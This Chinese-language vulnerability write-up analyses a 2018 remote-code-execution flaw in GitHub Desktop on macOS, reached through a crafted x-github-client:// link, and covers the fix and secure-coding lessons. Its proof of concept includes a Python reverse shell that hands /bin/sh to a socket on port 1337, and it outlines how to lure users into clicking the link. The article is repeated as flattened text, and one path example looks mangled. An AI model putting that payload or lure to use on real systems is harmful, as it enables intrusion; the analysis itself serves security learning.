挖洞经验 | GitHub Desktop 在OSX系统下的RCE漏洞
字数 1468 2025-08-18 11:37:53

GitHub Desktop在OSX系统下的RCE漏洞分析与教学文档

漏洞概述

本漏洞是GitHub Desktop在OSX系统下的远程代码执行(RCE)漏洞,由安全研究员在2018年H1-702黑客马拉松大赛中发现。该漏洞利用GitHub Desktop的URI处理机制,通过特制的x-github-client://链接实现任意代码执行。

漏洞背景

GitHub Desktop是GitHub官方提供的图形化Git客户端,支持Windows和macOS系统。该客户端使用Electron框架开发,提供了x-github-client://URI机制来处理特定操作。

漏洞原理

核心问题

漏洞存在于GitHub Desktop对openRepo操作的文件路径参数处理中,攻击者可以通过构造恶意路径参数突破存储库目录限制,访问并执行系统任意文件。

技术细节

  1. URI机制:GitHub Desktop支持x-github-client://openRepo/格式的URI,用于打开指定存储库中的文件
  2. 路径遍历:通过构造类似".Applications/Calculator.app"的路径参数,可以跳出存储库目录
  3. OSX应用包处理:由于OSX的.app是特定包目录格式,且通过Git克隆的应用不会触发系统安全警告
  4. Electron框架问题:GitHub Desktop使用Electron的shell.openExternal()函数处理路径,在OSX系统上将路径转换为file:///URL

漏洞利用

利用条件

  1. 目标系统运行OSX并安装GitHub Desktop
  2. 目标用户信任GitHub Desktop URLs
  3. 攻击场景:
    • 攻击者托管包含恶意OSX app的GitHub库
    • 在项目或README.md中嵌入恶意链接
    • 用户点击链接触发漏洞

利用步骤

  1. 构造恶意存储库,包含Payload文件
  2. 创建特制的x-github-client://链接指向该存储库
  3. 诱导用户点击链接:
    • 如果用户未克隆过该库,需要用户点击Clone按钮
    • 如果用户已克隆过该库,攻击完全无需交互

PoC代码示例

import socket,subprocess,os;
os.system("open -a calculator.app")
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("localhost",1337));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

漏洞修复

GitHub官方修复方案:

app/src/main-process/main.ts中添加系统判断:

if (!__DARWIN__ && stats.isDirectory())

修复原理:限制非OSX系统才能执行相关目录打开操作(DARWIN为苹果开放源代码操作系统的简称)

教学要点

  1. URI协议处理安全:应用程序处理自定义URI协议时需要严格验证参数
  2. 路径规范化:处理文件路径时应进行规范化并检查是否越界
  3. Electron安全实践:使用Electron框架时应注意shell模块的安全使用
  4. 跨平台兼容性:修复漏洞时需考虑所有支持平台的特性和差异
  5. 安全开发建议
    • 对用户提供的路径参数进行严格校验
    • 限制文件系统访问范围
    • 考虑使用沙箱环境执行潜在危险操作

参考资源

  1. GitHub官方漏洞致谢榜:https://bounty.github.com/
  2. Electron安全文档:https://www.electronjs.org/docs/latest/tutorial/security
  3. OSX应用安全机制:https://developer.apple.com/library/archive/documentation/Security/Conceptual/CodeSigningGuide/Introduction/Introduction.html
GitHub Desktop在OSX系统下的RCE漏洞分析与教学文档 漏洞概述 本漏洞是GitHub Desktop在OSX系统下的远程代码执行(RCE)漏洞,由安全研究员在2018年H1-702黑客马拉松大赛中发现。该漏洞利用GitHub Desktop的URI处理机制,通过特制的 x-github-client:// 链接实现任意代码执行。 漏洞背景 GitHub Desktop是GitHub官方提供的图形化Git客户端,支持Windows和macOS系统。该客户端使用Electron框架开发,提供了 x-github-client:// URI机制来处理特定操作。 漏洞原理 核心问题 漏洞存在于GitHub Desktop对 openRepo 操作的文件路径参数处理中,攻击者可以通过构造恶意路径参数突破存储库目录限制,访问并执行系统任意文件。 技术细节 URI机制 :GitHub Desktop支持 x-github-client://openRepo/ 格式的URI,用于打开指定存储库中的文件 路径遍历 :通过构造类似 ".Applications/Calculator.app" 的路径参数,可以跳出存储库目录 OSX应用包处理 :由于OSX的.app是特定包目录格式,且通过Git克隆的应用不会触发系统安全警告 Electron框架问题 :GitHub Desktop使用Electron的 shell.openExternal() 函数处理路径,在OSX系统上将路径转换为 file:/// URL 漏洞利用 利用条件 目标系统运行OSX并安装GitHub Desktop 目标用户信任GitHub Desktop URLs 攻击场景: 攻击者托管包含恶意OSX app的GitHub库 在项目或README.md中嵌入恶意链接 用户点击链接触发漏洞 利用步骤 构造恶意存储库,包含Payload文件 创建特制的 x-github-client:// 链接指向该存储库 诱导用户点击链接: 如果用户未克隆过该库,需要用户点击Clone按钮 如果用户已克隆过该库,攻击完全无需交互 PoC代码示例 漏洞修复 GitHub官方修复方案: 在 app/src/main-process/main.ts 中添加系统判断: 修复原理:限制非OSX系统才能执行相关目录打开操作(DARWIN为苹果开放源代码操作系统的简称) 教学要点 URI协议处理安全 :应用程序处理自定义URI协议时需要严格验证参数 路径规范化 :处理文件路径时应进行规范化并检查是否越界 Electron安全实践 :使用Electron框架时应注意 shell 模块的安全使用 跨平台兼容性 :修复漏洞时需考虑所有支持平台的特性和差异 安全开发建议 : 对用户提供的路径参数进行严格校验 限制文件系统访问范围 考虑使用沙箱环境执行潜在危险操作 参考资源 GitHub官方漏洞致谢榜:https://bounty.github.com/ Electron安全文档:https://www.electronjs.org/docs/latest/tutorial/security OSX应用安全机制:https://developer.apple.com/library/archive/documentation/Security/Conceptual/CodeSigningGuide/Introduction/Introduction.html